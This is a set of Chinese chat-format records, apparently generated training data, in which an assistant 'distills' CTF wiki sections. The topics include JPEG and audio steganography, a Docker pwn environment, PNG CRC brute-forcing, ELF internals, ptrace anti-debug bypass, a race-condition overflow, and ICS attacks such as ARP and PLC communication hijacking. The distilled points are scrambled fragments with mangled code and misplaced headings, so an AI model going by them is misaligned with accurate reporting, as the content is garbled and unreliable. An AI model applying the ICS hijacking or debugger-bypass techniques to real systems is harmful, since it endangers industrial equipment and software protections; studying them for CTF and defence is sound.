- 通过统计分析技术评估 JPEG 文件的 DCT 频率系数的隐写工具, 可以检测到通过 JSteg、JPHide、OutGuess、Invisible Secrets、F5、appendX 和 Camouflage 等这些隐写工具隐藏的信息，并且还具有基于字典暴力破解密码方法提取通过 Jphide、outguess 和 jsteg-shell 方式嵌入的隐藏信息。
- t 设置要检测哪些隐写工具（默认检测jopi），可设置的选项如下： j 检测图像中的信息是否是用jsteg嵌入的。
- ``shell -q 仅显示可能包含隐藏内容的图像。
- 如果JPEG文件的JFIF标识符中的版本号不是1.1，则禁用OutGuess检测。
- 检测结果的匹配度与检测算法的敏感度成正比，算法敏感度的值越大，检测出的可疑文件包含敏感信息的可能性越大。

关键术语：
- ROP/JOP
- 密码学
- misc
- picture
- jpg.md
- code:shell

代码/命令片段线索：
- shell: 9 行，首行 `-q 仅显示可能包含隐藏内容的图像。`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Stegdetect

ROP/JOP 密码学 misc picture jpg.md code:shell

JPG


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/environment.md` 中的章节「从 Docker 镜像创建容器」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/environment.md`
标题：简介
章节：pwn-related tools > 从 Docker 镜像创建容器
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“从 Docker 镜像创建容器”展开。
- 我们只需要运行如下命令便能基于我们刚刚创建的 Docker 镜像创建一个新的容器，方便起见你可以将其创建为一个脚本，各参数说明如下：
- - -d： 使容器在后台运行 - -p 25000:22： 容器的 22 端口映射到本地的 25000 端口 - --name=pwn24： 容器名为 pwn24 - -v ~/Desktop/CTF:/CTF ： 将本地的 ~/Desktop/CTF 目录映射到容器中的 /CTF 目录，这样我们便能在容器内访问到本地文件，而无需将文件重复拷贝进容器中 - pwnenv_ubuntu24：创建容器所使用的镜像
- ``shell $ docker run \ -d \ -p 25000:22 \ --name=pwn24 \ -v ~/Desktop/CTF:/CTF \ pwnenv_ubuntu24 ``
- ``shell $ docker exec -w /CTF \ -e TERM=xterm-256color \ -u ubuntu \ -it pwn24 \ bash ``
- 如果你不想直接将本地目录与容器进行共享，而是想要将所需文件拷贝一份到容器中，则可以使用 docker cp 命令：

关键术语：
- pwn
- linux
- user-mode
- environment.md
- code:shell

代码/命令片段线索：
- shell: 6 行，首行 `$ docker run \`
- shell: 5 行，首行 `$ docker exec -w /CTF \`
- shell: 2 行，首行 `$ docker cp 本地源文件路径 容器名:容器内目的路径`
- shell: 1 行，首行 `$ ssh root@localhost -p 25000`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

从 Docker 镜像创建容器

简介


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/picture/gif.md` 中的章节「例题」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/picture/gif.md`
标题：GIF
章节：GIF > 空间轴 > 例题
路径分类：misc / misc/picture/gif.md
分块：1/1

核心知识点：
- 本节主题围绕“例题”展开。
- for i in range(2): for j in range(2): pot = "cake-{}.png".format(j+i2) potImage = Image.open(pot) flag.paste(potImage,(j225,i*225)) flag.save('./flag.png') ```

关键术语：
- misc
- picture
- gif.md
- code:python

代码/命令片段线索：
- python: 8 行，首行 `from PIL import Image`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

例题

GIF


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/audio/introduction.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/audio/introduction.md`
标题：音频隐写
章节：音频隐写 > LSB音频隐写 > 原理
路径分类：misc / misc/audio/introduction.md
分块：1/1

核心知识点：
- 本节主题围绕“原理”展开。
- It provides a pretty nice interface and an easy integration of new steganography algorithm and cryptography process by using a plug-ins system.
- 主要可以使用 Silenteye 工具，其介绍如下： > SilentEye is a cross-platform application design for an easy use of steganography, in this case hiding messages into pictures or sounds.
- 类似于图片隐写中的 LSB 隐写，音频中也有对应的 LSB 隐写。

关键术语：
- 密码学
- misc
- audio
- introduction.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

原理

音频隐写 LSB音频隐写 原理

音频隐写


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/traffic/protocols/usb.md` 中的章节「例题」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/traffic/protocols/usb.md`
标题：USB
章节：USB > 例题
路径分类：misc / misc/traffic/protocols
分块：1/1

核心知识点：
- 本节主题围绕“例题”展开。
- > Xman三期夏令营排位赛练习题：AutoKey > > WP：https://www.cnblogs.com/ECJTUACM-873284962/p/9473808.html 问题描述： [图片: task_AutoKey;
- 文件: ./figure/task_AutoKey.png] 这道题是我参加 Xman 三期夏令营选拔赛出的一道题，我们如何对其进行分析？

关键术语：
- misc
- traffic
- protocols
- usb.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

例题

USB


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/traffic/protocols/wireshark.md` 中的章节「Protocol History(协议分级)」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/traffic/protocols/wireshark.md`
标题：Wireshark
章节：Wireshark > Wireshark 常用功能介绍 > 信息统计 > Protocol History(协议分级)
路径分类：misc / misc/traffic/protocols
分块：1/1

核心知识点：
- 本节主题围绕“Protocol History(协议分级)”展开。
- 这个窗口实现的是捕捉文件包含的所有协议的树状分支 [图片: pro_his;

关键术语：
- misc
- traffic
- protocols
- wireshark.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Protocol History(协议分级)

Wireshark
Wireshark 常用功能介绍
信息统计
Protocol History(协议分级)

Wireshark


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/picture/png.md` 中的章节「WDCTF-finals-2017」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/picture/png.md`
标题：PNG
章节：PNG > 文件格式 > IHDR > 例题 > WDCTF-finals-2017
路径分类：misc / misc/picture/png.md
分块：1/1

核心知识点：
- 本节主题围绕“WDCTF-finals-2017”展开。
- ` 这里需要注意的是，文件宽度不能任意修改，需要根据 IHDR 块的 CRC 值爆破得到宽度,否则图片显示错误不能得到 flag。
- `python misc = open("misc4.png","rb").read() for i in range(1024): data = misc[12:16] + struct.pack('>i',i)+ misc[20:29] crc32 = binascii.crc32(data) & 0xffffffff if crc32 == 0x932f8a6b: print i `` 得到宽度值为 709 后，恢复图片得到 flag。
- [图片文件: ./figure/misc4.png]

关键术语：
- misc
- picture
- png.md
- code:hex
- code:python

代码/命令片段线索：
- hex: 6 行，首行 `00000000 80 59 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.YNG........IHDR|`
- python: 6 行，首行 `misc = open("misc4.png","rb").read()`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

WDCTF-finals-2017

misc picture png.md code:hex code:python

PNG


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/audio/introduction.md` 中的章节「例题」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/audio/introduction.md`
标题：音频隐写
章节：音频隐写 > 波形 > 例题
路径分类：misc / misc/audio/introduction.md
分块：1/1

核心知识点：
- 本节主题围绕“例题”展开。
- `` 110011011011001100001110011111110111010111011000010101110101010110011011101011101110110111011110011111101 `` 转为 ASCII，摩斯密码解密，得到 flag。
- > ISCC-2017: Misc-04 其实这题隐藏的信息在最开始的一段音频内，不细心听可能会误认为是隐写软件。
- [图片文件: ./figure/3.png] 以高为 1 低为 0，转换得到 01 字符串。
- note 一些较复杂的可能会先对音频进行一系列的处理，如滤波等。
- 例如 JarvisOJ - 上帝之音 Writeup

关键术语：
- 密码学
- misc
- audio
- introduction.md

代码/命令片段线索：
- plain: 1 行，首行 `110011011011001100001110011111110111010111011000010101110101010110011011101011101110110111011110011111101`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

例题

音频隐写


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/traffic/data.md` 中的章节「常用方法」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/traffic/data.md`
标题：数据提取
章节：数据提取 > tshark > 常用方法
路径分类：misc / misc/traffic/data.md
分块：1/1

核心知识点：
- 本节主题围绕“常用方法”展开。
- format of text output (def: text) -e <field> field to print if -Tfields selected (e.g. tcp.port, _ws.col.Info) ` 通过-Y过滤器(与wireshark一致),然后用-T filds -e配合指定显示的数据段(比如usb.capdata) - tips - -e后的参数不确定可以由 wireshark` 右击需要的数据选中后得到
- > tshark -r .pcap –Y -T fields –e | ** > data `` Usage: -Y <display filter> packet displaY filter in Wireshark display filter syntax -T pdml|ps|psml|json|jsonraw|ek|tabs|text|fields|?

关键术语：
- misc
- traffic
- data.md

代码/命令片段线索：
- plain: 7 行，首行 `Usage:`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

常用方法

数据提取 tshark 常用方法

数据提取


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/executable/elf/structure/misc-sections.md` 中的章节「Note related sections」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/executable/elf/structure/misc-sections.md`
标题：Misc Sections
章节：Misc Sections > Note related sections
路径分类：executable / executable/elf/structure
分块：1/1

核心知识点：
- 本节主题围绕“Note related sections”展开。
- 有时候生产厂商或者系统构建者可能需要使用一些特殊的信息来标记ELF文件，从而其它程序可以来检查该 ELF 文件的一致性以及兼容性。
- 节区类型为 SHT_NOTE 或者程序头部类型为 PT_NOTE 的元素用于来实现这个目的，它们中对象的表项可能包含一到多个，每一个表项都是目标处理器格式的 4 字节数组。
- [图片文件: ./figure/note_information.png] - namesz 与 name - name 的前 namesz 字节包含了一个以 NULL 结尾的字符串，这表示该项的拥有者或者发起人。
- 一般来说，生产厂商会使用他们自己公司的名字，例如“XYZ Computer Company”来当做对应的标志。
- descsz 与 desc - desc 的前 descsz 字节包含了注释的描述。

关键术语：
- executable
- elf
- structure
- misc-sections.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Note related sections

executable elf structure misc-sections.md

Misc Sections


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/executable/elf/linking/symbol-resolve.md` 中的章节「_dl_runtime_resolve」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/executable/elf/linking/symbol-resolve.md`
标题：Symbol Resolution
章节：Symbol Resolution > 具体操作 > _dl_runtime_resolve
路径分类：executable / executable/elf/linking
分块：1/1

核心知识点：
- 本节主题围绕“_dl_runtime_resolve”展开。
- 可参考 - https://stackoverflow.com/questions/51962243/what-is-cfi-adjust-cfa-offset-and-cfi-rel-offset - https://sourceware.org/binutils/docs/as/CFI-directives.html - _CET_ENDBR 则与 Intel 的 CET 相关，ENDBR32/ENDBR64 是 Intel CET-IBT 的合法间接分支目标标记。
- 因此这部分代码可以简化为 `assembly .text .globl _dl_runtime_resolve .type _dl_runtime_resolve, @function .align 16 _dl_runtime_resolve: pushl %eax # Preserve registers otherwise clobbered. pushl %ecx pushl %edx movl 16(%esp), %edx # Copy args pushed by PLT in register.
- 间接 CALL 或 JMP 执行后，处理器期望目标位置以相应 ENDBR 开始；
- 该指令在不支持 CET 的旧处理器上按兼容 NOP 处理。

关键术语：
- 边界/溢出
- 栈
- executable
- elf
- linking
- symbol-resolve.md
- code:assembly

代码/命令片段线索：
- assembly: 25 行，首行 `.text`
- assembly: 17 行，首行 `.text`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

_dl_runtime_resolve

Symbol Resolution
具体操作
_dl_runtime_resolve

边界/溢出 栈 executable elf linking symbol-resolve.md code:assembly

Symbol Resolution


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/assembly/risc-v/readme.md` 中的章节「参数大小约束」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/assembly/risc-v/readme.md`
标题：Risc-V
章节：Risc-V > 0x04 调用规约 > 参数大小约束
路径分类：assembly / assembly/risc-v/readme.md
分块：1/1

核心知识点：
- 本节主题围绕“参数大小约束”展开。
- 小于指针大小（如 char、short）：放在寄存器的低位 - 超过一个指针大小（如 long long）：需要偶数对齐寄存器 - 例如 RV32 中： ``c void foo(int, long long) ` - int → a0 - long long → a2 和 a3（跳过 a1，偶数对齐） - 超过两个指针大小（如 struct { long x[3];

关键术语：
- assembly
- risc-v
- readme.md
- code:c

代码/命令片段线索：
- c: 1 行，首行 `void foo(int, long long)`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

参数大小约束

Risc-V
0x04 调用规约
参数大小约束

Risc-V


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/picture/jpg.md` 中的章节「SilentEye」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/picture/jpg.md`
标题：JPG
章节：JPG > 隐写软件 > SilentEye
路径分类：misc / misc/picture/jpg.md
分块：1/1

核心知识点：
- 本节主题围绕“SilentEye”展开。
- It provides a pretty nice interface and an easy integration of new steganography algorithm and cryptography process by using a plug-ins system.
- > SilentEye is a cross-platform application design for an easy use of steganography, in this case hiding messages into pictures or sounds.

关键术语：
- 密码学
- misc
- picture
- jpg.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

SilentEye

JPG


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/other/pyc.md` 中的章节「WARNING: Decompyle incomplete」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/other/pyc.md`
标题：pyc文件
章节：WARNING: Decompyle incomplete
路径分类：misc / misc/other/pyc.md
分块：1/1

核心知识点：
- 本节主题围绕“WARNING: Decompyle incomplete”展开。
- `` 注意到是python2.7,也就是说指令序列共占1字节或3字节(有参数无参数) 使用pcads得到 `xml imgenc.pyc (Python 2.7) ...

关键术语：
- 修复/缓解
- misc
- other
- pyc.md

代码/命令片段线索：
- plain: 2 行，首行 `注意到是python2.7,也就是说指令序列共占1字节或3字节(有参数无参数)`
- plain: 1 行，首行 `定位到出错的地方,观察发现 `LOAD_CONST LOAD_CONST BINARY_DIVIDE STORE_FAST opcodes (64 03 00 64 03 00 15 7d 05 00)`被破坏了,根据上下文线索修复后`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

WARNING: Decompyle incomplete

pyc文件


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/ics/exploit.md` 中的章节「通信劫持」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/ics/exploit.md`
标题：ICS_CTF 利用
章节：ICS_CTF 利用 > 通信劫持
路径分类：ics / ics/exploit.md
分块：1/1

核心知识点：
- 通信劫持是工控场景中最经典利用方式，例如ARP劫持、PLC/HMI通信劫持、PLC会话劫持、PLC命令执行等内容。
- ARP劫持，ARP劫持可以阻断PLC与其他设备的通信，鉴于工程会存在写死IP等交互地址，未必管用，但是值得一试 2.
- PLC/HMI通信劫持，采用旁路设备接入或控制PLC设备，对IO进行强制重写或输出 3.
- PLC命令执行，针对工控设备最敏感的部分是设备宕机（无法恢复的）、设备启停、设备强制更新参数，等等这些对普通工艺能够产生较大的影响。

关键术语：
- 漏洞利用
- ics
- exploit.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

通信劫持

ICS_CTF 利用


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/reverse/platform/linux/detect-dbg.md` 中的章节「绕过方法1」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/reverse/platform/linux/detect-dbg.md`
标题：Detecting debugging
章节：Detecting debugging > 绕过方法1
路径分类：reverse / reverse/platform/linux
分块：1/1

核心知识点：
- 本节主题围绕“绕过方法1”展开。
- 显然ptrace只能作用于使用ptrace的调试器, 我们可以用不使用ptrace的调试器. 我们也可以通过打补丁的方式将ptrace函数擦除, 更简单就是将ptrace的调用代码或是之后的校验给擦除了. 如果可执行文件(实际情况下不太可能)在编译时并没有启用-s选项(-s 选项能移除所有的符号表信息和重定位信息), 那么情况会变得简单很多. 我们从这个简单的情况来分析 ```

关键术语：
- reverse
- platform
- linux
- detect-dbg.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

绕过方法1

Detecting debugging


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/other/pyc.md` 中的章节「文件结构」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/other/pyc.md`
标题：pyc文件
章节：pyc文件 > 文件结构
路径分类：misc / misc/other/pyc.md
分块：1/1

核心知识点：
- 本节主题围绕“文件结构”展开。
- > 需要注意的是，在较老版本的 Python 当中，在 .pyc 文件中并不存在 Bit Field 和 文件大小 这两个字段，即 Header 大小仅为 8 字节。
- [图片文件: ./figure/pyc-struct.png] > 对 .pyc 文件的完整解析可以参照如下资料： > > - Python程序的执行原理 > - PYC文件格式分析 关于co_code 一串二进制流,代表着指令序列,具体定义在include/opcode.h中,也可以参照python opcodes。
- 由 - 指令(opcode),分为有参数和无参数两种,以 https://github.com/python/cpython/blob/fc7df0e664198cb05cafd972f190a18ca422989c/Include/opcode.h#L69 划分 - 参数(oparg) python3.6 以上参数永远占1字节,如果指令不带参数的话则以0x00代替,在运行过程中被解释器忽略,也是Stegosaurus技术原理;
- 一个 pyc 文件由两大部分组成： - 一、Header 部分：存放了 .pyc 文件的基本信息，大小为 16 字节。
- 最开始 4 个字节为 Magic Number，用以标识此 .pyc 文件的版本信息。

关键术语：
- misc
- other
- pyc.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

文件结构

pyc文件


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/archive/zip.md` 中的章节「工具」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/archive/zip.md`
标题：ZIP 格式
章节：-- coding: utf-8 -- > 明文攻击 > 工具
路径分类：misc / misc/archive/zip.md
分块：1/1

核心知识点：
- 本节主题围绕“工具”展开。
- note  建议使用 Windows 的 ARCHPR，一是速度较快，二是较稳定（之前出题时遇到过用 PKCrack 爆不出来的情况）。
- Windows下的神器 ARCHPR - Linux下的 PKCrack !

关键术语：
- misc
- archive
- zip.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

工具

ZIP 格式


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/race-condition/problem.md` 中的章节「分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/race-condition/problem.md`
标题：题目
章节：题目 > 构造例子 > 分析
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“分析”展开。
- 如果我们在程序检查完对应的文件大小后，将对应的文件删除，并符号链接到另外一个更大的文件，那么程序所读入的内容就会更多，从而就会产生栈溢出。
- 可以看出程序的基本流程如下 - 检查传入的命令行参数是不是 “flag”，如果是的话，就退出。
- 看似我们检查了文件的大小，同时 buf 的大小也可以满足对应的最大大小，但是这里存在一个条件竞争的问题。
- 检查传入的命令行参数对应的文件大小是否大于 255，是的话，就直接退出。
- 将命令行参数所对应的文件内容读入到 buf 中 ，buf 的大小为 256。

关键术语：
- 边界/溢出
- 栈
- pwn
- linux
- user-mode
- race-condition

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

分析

边界/溢出 栈 pwn linux user-mode race-condition

题目